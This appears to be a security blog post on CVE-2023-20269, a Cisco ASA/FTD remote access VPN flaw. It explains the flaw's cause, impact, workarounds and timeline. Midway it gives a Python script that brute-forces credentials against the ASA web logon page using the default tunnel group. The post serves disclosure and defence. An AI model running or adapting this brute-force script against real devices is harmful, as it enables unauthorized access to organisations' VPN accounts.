In this post, we discuss a critical vulnerability found in the remote access VPN feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software that may allow an unauthenticated, remote attacker to conduct a brute force attack in an attempt to identify valid username and password combinations or an authenticated, remote attacker to establish a clientless SSL VPN session with an unauthorized user.

Vulnerability Details

The vulnerability (CVE-2023-20269) is primarily caused by improper separation of authentication, authorization, and accounting (AAA) between the remote access VPN feature and the HTTPS management and site-to-site VPN features. An attacker may exploit this vulnerability by specifying a default connection profile or tunnel group while conducting a brute force attack or establishing a clientless SSL VPN session using valid credentials. A successful exploit may allow the attacker to achieve one or both of the following:

1. Identify valid credentials that could then be used to establish an unauthorized remote access VPN session.
2. Establish a clientless SSL VPN session (only when running Cisco ASA Software Release 9.16 or earlier).

Notes

- Establishing a client-based remote access VPN tunnel is not possible as these default connection profiles or tunnel groups do not and cannot have an IP address pool configured.
- This vulnerability does not allow an attacker to bypass authentication. To successfully establish a remote access VPN session, valid credentials are required, including a valid second factor if multi-factor authentication (MFA) is configured.

Here's a simple example of a code snippet that an attacker might use to exploit this vulnerability

import requests

url = "https://<target-ASA>/+CSCOE+/logon.html";
username_list = ["user1", "user2", "user3"]
password_list = ["password1", "password2", "password3"]
default_tunnel_group = "DefaultWEBVPNGroup"

for username in username_list:
    for password in password_list:
        data = {
            "username": username,
            "password": password,
            "tgroup": default_tunnel_group,
            "Login": "Login"
        }
        response = requests.post(url, data=data)
        if "Login Successful" in response.text:
            print(f"Valid credentials found: {username} / {password}")
            break

Important: This code snippet is meant for illustrative purposes, and should not be used to conduct unauthorized attacks.

For more information on this vulnerability, refer to the following official Cisco Security Advisory

- Cisco Adaptive Security Appliance Software and Cisco Firepower Threat Defense Software Remote Access VPN Connection Profile Brute Force Authorization Bypass Vulnerability

Workarounds and Fixes

Cisco will release software updates to address this vulnerability. However, there are workarounds that can help mitigate the vulnerability:

1. Configure an AAA server for authentication of remote access VPN users, so that user credentials are verified against an external AAA server rather than locally stored credentials on the ASA or FTD device. Refer to Configuring AAA for Remote Access VPNs for more details.
2. Use rate limits/thresholds for failed login attempts to make brute force attacks less effective. Refer to Mitigating Brute Force Attacks for more information.

It is highly recommended to implement these workarounds until the software updates are available to fully address the vulnerability. Stay vigilant and ensure that all your network devices and systems are up-to-date with the latest security patches.

Timeline

Published on: 09/06/2023 18:15:00 UTC
Last modified on: 09/14/2023 16:10:00 UTC